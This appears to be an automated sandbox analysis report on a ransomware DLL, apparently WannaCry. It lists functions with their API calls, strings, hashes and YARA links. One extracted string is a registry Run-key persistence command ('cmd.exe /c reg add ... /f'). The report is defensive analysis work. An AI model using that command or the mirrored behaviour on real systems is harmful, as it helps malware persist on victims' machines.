                                                                                                                                                                                • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000001,?,?,?,00000000,?,-00000008,10006E81,000000FF,10002C8A,-00000008,?), ref: 1000393A
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: G@2@@std@@G@std@@U?$char_traits@V?$allocator@$Grow@?$basic_string@Split@?$basic_string@$Eos@?$basic_string@Tidy@?$basic_string@Xran@std@@
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2613176527-0
                                                                                                                                                                                • Opcode ID: 419391cea48095fa9c56488878e65c16131f7775e920f671397da16b97c4db23
                                                                                                                                                                                • Instruction ID: c1de8fb6cb3a72026dff4bd4d186f336055b31e35bdbf535d2fbb9e5f9aed039
                                                                                                                                                                                • Opcode Fuzzy Hash: 419391cea48095fa9c56488878e65c16131f7775e920f671397da16b97c4db23
                                                                                                                                                                                • Instruction Fuzzy Hash: 3C41E171A00B518FD711DF1DC8C4A9AF7E6FB89790B50C85EE49A87399CB35A841CB90
                                                                                                                                                                                Function 10005340 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 46fileCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • fopen.MSVCRT ref: 10005390
                                                                                                                                                                                • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,0000026B,00000000,00000000), ref: 100053BB
                                                                                                                                                                                • fprintf.MSVCRT ref: 100053CC
                                                                                                                                                                                • fclose.MSVCRT ref: 100053D3
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ByteCharMultiWidefclosefopenfprintf
                                                                                                                                                                                • String ID: %s$f.wnry
                                                                                                                                                                                • API String ID: 3959349042-164597620
                                                                                                                                                                                • Opcode ID: fe47b58a0a864098f1ed7e8003c354341eea4e6aa930122578fb3f2d5fa357f5
                                                                                                                                                                                • Instruction ID: 734c0e559264cc4d9b0cc5893c3b6f020f9c05ec1f5dab6dea45a35ab53bd0b3
                                                                                                                                                                                • Opcode Fuzzy Hash: fe47b58a0a864098f1ed7e8003c354341eea4e6aa930122578fb3f2d5fa357f5
                                                                                                                                                                                • Instruction Fuzzy Hash: F4019271608221AFF314EB58CCC8FEE33A4FB84791F10451AF958972D8EBB55800CBA2
                                                                                                                                                                                Function 10001000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42fileCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: fclose$fopenfreadfwrite
                                                                                                                                                                                • String ID: c.wnry
                                                                                                                                                                                • API String ID: 2140422903-3240288721
                                                                                                                                                                                • Opcode ID: 2fcb7732bd124fd719fd764fef50b0c5215f73a769e972a2100bda7ef1d600a7
                                                                                                                                                                                • Instruction ID: 5b66b66c06db25d3a0a81cfd077caa1ea484c652e78dc5caa5dda909e889b54a
                                                                                                                                                                                • Opcode Fuzzy Hash: 2fcb7732bd124fd719fd764fef50b0c5215f73a769e972a2100bda7ef1d600a7
                                                                                                                                                                                • Instruction Fuzzy Hash: 01F0F631904260ABF330DB29AC48BCB37A4FF803D1F050424FE898629DD6B9CCC5C692
                                                                                                                                                                                Function 10003F00 Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • CreateFileA.KERNEL32(1000DD24,80000000,00000001,00000000,00000003,00000000,00000000), ref: 10003F45
                                                                                                                                                                                • GetFileSize.KERNEL32(00000000,00000000), ref: 10003F5B
                                                                                                                                                                                • _local_unwind2.MSVCRT ref: 10004017
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: File$CreateSize_local_unwind2
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1039228802-0
                                                                                                                                                                                • Opcode ID: a418ad88937dbf3f3f2f90a93e697cbecaf6d1334aa3d5b8eb2f9d90e99da0df
                                                                                                                                                                                • Instruction ID: e4fcb762b0a2cf85546a5226953a162905cdc9c51df010501401105139b3880b
                                                                                                                                                                                • Opcode Fuzzy Hash: a418ad88937dbf3f3f2f90a93e697cbecaf6d1334aa3d5b8eb2f9d90e99da0df
                                                                                                                                                                                • Instruction Fuzzy Hash: C23150B1D04219ABEB10CF988C84FBFB7BCF7487A0F104729FA28A22D4E73558018764
                                                                                                                                                                                Function 100013E0 Relevance: 9.1, APIs: 6, Instructions: 65COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetSecurityInfo.ADVAPI32(?,00000006,00000004,00000000,00000000,?,00000000,?,?,00000000,00000000), ref: 1000140A
                                                                                                                                                                                • SetEntriesInAclA.ADVAPI32 ref: 1000145E
                                                                                                                                                                                • SetSecurityInfo.ADVAPI32(?,00000006,00000004,00000000,00000000,00000001,00000000), ref: 10001471
                                                                                                                                                                                • LocalFree.KERNEL32(?), ref: 10001482
                                                                                                                                                                                • LocalFree.KERNEL32(00000001), ref: 10001489
                                                                                                                                                                                • LocalFree.KERNEL32(?), ref: 10001490
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: FreeLocal$InfoSecurity$Entries
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3140748100-0
                                                                                                                                                                                • Opcode ID: 17e72d77cb2a7ab5b29a99238ea31e96b0111bf78f42c6a29ba222225ce2277a
                                                                                                                                                                                • Instruction ID: 1eb89440d750b609ffa3c3d638de18f9d51937b2d7303c4cf94103808dea2930
                                                                                                                                                                                • Opcode Fuzzy Hash: 17e72d77cb2a7ab5b29a99238ea31e96b0111bf78f42c6a29ba222225ce2277a
                                                                                                                                                                                • Instruction Fuzzy Hash: 2E11C7B1919360AFD350CF55CC84E5BBBE9FB88750F404D1EF69993240D7B59508CBA2
                                                                                                                                                                                Function 10001830 Relevance: 9.1, APIs: 6, Instructions: 61memoryCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GlobalAlloc.KERNEL32(00000000,00100000,10005340,00000000,75730F00,00000000,1000580C,1000DD24,10005340,1000DD8C,75730F10), ref: 10001869
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: AllocGlobal
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3761449716-0
                                                                                                                                                                                • Opcode ID: a0f6333f425ce33925a84890fd78498eb6391ea3f73c7eff5b86457590ab5d7d
                                                                                                                                                                                • Instruction ID: 8db7ed3adf78cc50dca048c8c7e3ab3d0c22f95359d44885ef36aa3b35a51b9a
                                                                                                                                                                                • Opcode Fuzzy Hash: a0f6333f425ce33925a84890fd78498eb6391ea3f73c7eff5b86457590ab5d7d
                                                                                                                                                                                • Instruction Fuzzy Hash: DC118FB66003119BF360DB28EC45FCB77E8EB84790F11882EF649961C8DBB0A845CB75
                                                                                                                                                                                Function 10005727 Relevance: 9.1, APIs: 6, Instructions: 58threadsleepCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetLogicalDrives.KERNEL32 ref: 10005734
                                                                                                                                                                                • Sleep.KERNEL32(00000BB8), ref: 1000574A
                                                                                                                                                                                • GetLogicalDrives.KERNEL32 ref: 10005752
                                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,10005680,00000003,00000000,00000000), ref: 1000578F
                                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 1000579A
                                                                                                                                                                                • ExitThread.KERNEL32 ref: 100057B1
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: DrivesLogicalThread$CloseCreateExitHandleSleep
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1878306015-0
                                                                                                                                                                                • Opcode ID: 6755539e03151ab4c1f16085f489a8dfdac46bb0bc8c46b8b9e925cdda5e6641
                                                                                                                                                                                • Instruction ID: e60eb9cd5809f0a44785feabd90748945945c8a24abb44f707321f1dc85ab6e6
                                                                                                                                                                                • Opcode Fuzzy Hash: 6755539e03151ab4c1f16085f489a8dfdac46bb0bc8c46b8b9e925cdda5e6641
                                                                                                                                                                                • Instruction Fuzzy Hash: 28016234B04321EFF250AB66ACCCB5B3699FB856D2F510125F90DDB39CEF569C009661
                                                                                                                                                                                Function 10005730 Relevance: 9.0, APIs: 6, Instructions: 49threadsleepCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetLogicalDrives.KERNEL32 ref: 10005734
                                                                                                                                                                                • Sleep.KERNEL32(00000BB8), ref: 1000574A
                                                                                                                                                                                • GetLogicalDrives.KERNEL32 ref: 10005752
                                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,10005680,00000003,00000000,00000000), ref: 1000578F
                                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 1000579A
                                                                                                                                                                                • ExitThread.KERNEL32 ref: 100057B1
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: DrivesLogicalThread$CloseCreateExitHandleSleep
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1878306015-0
                                                                                                                                                                                • Opcode ID: 5878980bfe0458395b54a1c59291aa8a91b878b02f3db5711459a8e660d042a6
                                                                                                                                                                                • Instruction ID: d95954290e73e2fc4d81053873901ac5897467195d0022eac80ad00c69895781
                                                                                                                                                                                • Opcode Fuzzy Hash: 5878980bfe0458395b54a1c59291aa8a91b878b02f3db5711459a8e660d042a6
                                                                                                                                                                                • Instruction Fuzzy Hash: 02018634B04321DFF2409B66ACCCB5B3699FB806D2F510125F90DDB39CEF569C009661
                                                                                                                                                                                Function 10004990 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51sleepCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • time.MSVCRT ref: 100049A8
                                                                                                                                                                                • time.MSVCRT ref: 100049CC
                                                                                                                                                                                • GetFullPathNameA.KERNEL32(tasksche.exe,00000208,?,00000000), ref: 10004A15
                                                                                                                                                                                • Sleep.KERNEL32(00007530), ref: 10004A29
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: time$FullNamePathSleep
                                                                                                                                                                                • String ID: tasksche.exe
                                                                                                                                                                                • API String ID: 1626198026-4155512336
                                                                                                                                                                                • Opcode ID: 63368ec97ce6c90e861054e7e62082db372e98ff563f1b21eac47bf49e227cdf
                                                                                                                                                                                • Instruction ID: 6c277a82b2204c6dda298433eb915a288d4e8415d8d78be13cb5ccbe86c762d4
                                                                                                                                                                                • Opcode Fuzzy Hash: 63368ec97ce6c90e861054e7e62082db372e98ff563f1b21eac47bf49e227cdf
                                                                                                                                                                                • Instruction Fuzzy Hash: FC01F9B1A0435157F310E7649C81F6F3694FB847C1F010529FA489628EDE90B804C3B7
                                                                                                                                                                                Function 10003C40 Relevance: 7.6, APIs: 5, Instructions: 77COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID:
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID:
                                                                                                                                                                                • Opcode ID: d0c54076f7a2448e10fc8be0b785496c0eb2b10ce162175e404115595b8610ef
                                                                                                                                                                                • Instruction ID: 138f2fe033322ba65967f8616f38530b74b5918126c82026410a31d06e5ea73c
                                                                                                                                                                                • Opcode Fuzzy Hash: d0c54076f7a2448e10fc8be0b785496c0eb2b10ce162175e404115595b8610ef
                                                                                                                                                                                • Instruction Fuzzy Hash: C821B4B56443117FF210DB14DC85F9BB7ACEBC4B64F148529FB44A72C0D2B9A80A87A6
                                                                                                                                                                                Function 10001760 Relevance: 7.6, APIs: 5, Instructions: 58synchronizationCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 10003BB0: CryptReleaseContext.ADVAPI32(?,00000000,75733310,10003EFD,10003EE0,?,?,?,?,?,?,?,75733310,00000000), ref: 10003BE7
                                                                                                                                                                                • GlobalFree.KERNEL32(?), ref: 10001797
                                                                                                                                                                                • GlobalFree.KERNEL32(?), ref: 100017C0
                                                                                                                                                                                • WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,100016B2,75730F00,75732EE0,00000000,?,00000000,10006DEF,000000FF,10005AC5), ref: 100017E3
                                                                                                                                                                                • DeleteCriticalSection.KERNEL32(?,?,00000000,100016B2,75730F00,75732EE0,00000000,?,00000000,10006DEF,000000FF,10005AC5), ref: 10001807
                                                                                                                                                                                • wcslen.MSVCRT ref: 10001814
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: FreeGlobal$ContextCriticalCryptDeleteObjectReleaseSectionSingleWaitwcslen
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 4220276716-0
                                                                                                                                                                                • Opcode ID: 33c5ca710b395fa90b6c0262d6d3b5fcc069b9a43ede1909023ffbbaa47dbda2
                                                                                                                                                                                • Instruction ID: f586c4f20a923c2549891f38ad5cae4d46359d9a66e1c91433b4026ce85e5b09
                                                                                                                                                                                • Opcode Fuzzy Hash: 33c5ca710b395fa90b6c0262d6d3b5fcc069b9a43ede1909023ffbbaa47dbda2
                                                                                                                                                                                • Instruction Fuzzy Hash: 6D114CB45056118BF351EB38C888BD7B7E8FF44284F01451DE69E97294CFB4A8448BA4
                                                                                                                                                                                Function 100047F0 Relevance: 7.5, APIs: 1, Strings: 4, Instructions: 46COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 10001360: AllocateAndInitializeSid.ADVAPI32(?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,75D9F130), ref: 1000139C
                                                                                                                                                                                • sprintf.MSVCRT ref: 10004863
                                                                                                                                                                                Strings
                                                                                                                                                                                • cmd.exe /c reg add %s /v "%s" /t REG_SZ /d "\"%s\"" /f, xrefs: 1000485D
                                                                                                                                                                                • L, xrefs: 10004814
                                                                                                                                                                                • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 100047FD
                                                                                                                                                                                • M, xrefs: 10004819
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: AllocateInitializesprintf
                                                                                                                                                                                • String ID: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run$L$M$cmd.exe /c reg add %s /v "%s" /t REG_SZ /d "\"%s\"" /f
                                                                                                                                                                                • API String ID: 568869838-3541944315
                                                                                                                                                                                • Opcode ID: bf5c0829c5f729f0c32795c81225613645d0478752b7bd72f04b3b82bf7e2ebe
                                                                                                                                                                                • Instruction ID: cb81d63c27e7438ee873a6580c8d427ba87cf58f5dd356eba86e26e33131f037
                                                                                                                                                                                • Opcode Fuzzy Hash: bf5c0829c5f729f0c32795c81225613645d0478752b7bd72f04b3b82bf7e2ebe
                                                                                                                                                                                • Instruction Fuzzy Hash: 67012471508380BAF354D318C840BEF7BA8DFC5388F408C2EBAC887295DAB59548C7A3
                                                                                                                                                                                Function 10003D10 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154stringCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 10003F00: CreateFileA.KERNEL32(1000DD24,80000000,00000001,00000000,00000003,00000000,00000000), ref: 10003F45
                                                                                                                                                                                  • Part of subcall function 10003F00: GetFileSize.KERNEL32(00000000,00000000), ref: 10003F5B
                                                                                                                                                                                  • Part of subcall function 10003F00: _local_unwind2.MSVCRT ref: 10004017
                                                                                                                                                                                • _local_unwind2.MSVCRT ref: 10003E3B
                                                                                                                                                                                • strncmp.MSVCRT(00000000,75733310,?,?,?,?,?,75733310,00000000), ref: 10003EA1
                                                                                                                                                                                • _local_unwind2.MSVCRT ref: 10003EB4
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _local_unwind2$File$CreateSizestrncmp
                                                                                                                                                                                • String ID: TESTDATA
                                                                                                                                                                                • API String ID: 1543304235-1607903762
                                                                                                                                                                                • Opcode ID: 08128c41f779b111d32eb306d92a78f2e556bba1aa4ec4d49f8833e0785d021f
                                                                                                                                                                                • Instruction ID: a032fc21090523e0544b4f1491e0cf73a7f188879e4d6ad20d27030e122f8292
                                                                                                                                                                                • Opcode Fuzzy Hash: 08128c41f779b111d32eb306d92a78f2e556bba1aa4ec4d49f8833e0785d021f
                                                                                                                                                                                • Instruction Fuzzy Hash: E5513E75900258ABE714CB64DC85BEBB7B8FB48360F1087ADF919D72C5EB709A44CB90
                                                                                                                                                                                Function 10004500 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • sprintf.MSVCRT ref: 10004528
                                                                                                                                                                                • GetFileAttributesA.KERNEL32(?), ref: 1000453C
                                                                                                                                                                                • GetFileAttributesA.KERNEL32(1000DD24), ref: 10004548
                                                                                                                                                                                  • Part of subcall function 10003A10: InitializeCriticalSection.KERNEL32(?,75733310,10004558), ref: 10003A28
                                                                                                                                                                                  • Part of subcall function 10003D10: _local_unwind2.MSVCRT ref: 10003E3B
                                                                                                                                                                                  • Part of subcall function 10003A60: DeleteCriticalSection.KERNEL32(?,100045A2), ref: 10003A6A
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: AttributesCriticalFileSection$DeleteInitialize_local_unwind2sprintf
                                                                                                                                                                                • String ID: %08X.dky
                                                                                                                                                                                • API String ID: 2860353857-1014945734
                                                                                                                                                                                • Opcode ID: 8a0e7567a4fa4835a183f6d327c371cb40c48a734cf9ee2ef7d227f4b83157cd
                                                                                                                                                                                • Instruction ID: 425621f44f5a923abbbd61014c7ab598cc21be85551e84ab2481d09848a71f7a
                                                                                                                                                                                • Opcode Fuzzy Hash: 8a0e7567a4fa4835a183f6d327c371cb40c48a734cf9ee2ef7d227f4b83157cd
                                                                                                                                                                                • Instruction Fuzzy Hash: EB118875504B409FE315DB28CC42B9BB7E8FB887A0F504F1DF56A822D4DB38A545CB52
                                                                                                                                                                                Function 100012D0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 100011D0: GetCurrentProcess.KERNEL32 ref: 100011E4
                                                                                                                                                                                  • Part of subcall function 100011D0: OpenProcessToken.ADVAPI32(00000000), ref: 100011EB
                                                                                                                                                                                • GetUserNameW.ADVAPI32 ref: 10001321
                                                                                                                                                                                • _wcsicmp.MSVCRT ref: 10001331
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000097.00000002.1487865413.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                • Associated: 00000097.00000002.1487818051.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487914922.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1487961054.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                • Associated: 00000097.00000002.1488015515.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Process$CurrentNameOpenTokenUser_wcsicmp
                                                                                                                                                                                • String ID: S-1-5-18$SYSTEM
                                                                                                                                                                                • API String ID: 3198372872-1369567957
                                                                                                                                                                                • Opcode ID: cf50642f78ef5fab84ecba59a6cf7af1d6290f6db1426ef5f0d617c8ec868925
                                                                                                                                                                                • Instruction ID: 10a86b0ae793a7b0faed46c7c3bb17ce0abdb28c641acd7ed0c6d67178d7bc95
                                                                                                                                                                                • Opcode Fuzzy Hash: cf50642f78ef5fab84ecba59a6cf7af1d6290f6db1426ef5f0d617c8ec868925
